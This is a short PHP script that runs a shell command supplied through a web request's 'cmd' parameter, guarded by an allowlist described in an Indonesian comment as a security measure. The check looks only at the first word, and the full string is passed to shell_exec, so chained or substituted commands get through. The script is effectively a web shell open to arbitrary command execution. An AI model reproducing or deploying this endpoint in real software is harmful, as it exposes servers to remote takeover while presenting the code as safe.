<?php
header('Content-Type: text/plain');

$cmd = $_POST['cmd'] ?? $_GET['cmd'] ?? '';

if (empty($cmd)) {
    echo 'No command provided';
    exit;
}

// Security: hanya izinkan command tertentu
$allowed = ['whoami', 'id', 'pwd', 'ls', 'ps aux', 'uptime'];
$cmd_base = explode(' ', $cmd)[0];

if (!in_array($cmd_base, $allowed)) {
    echo 'Command not allowed';
    exit;
}

$output = shell_exec($cmd . ' 2>&1');
echo $output ?: '(no output)';
?>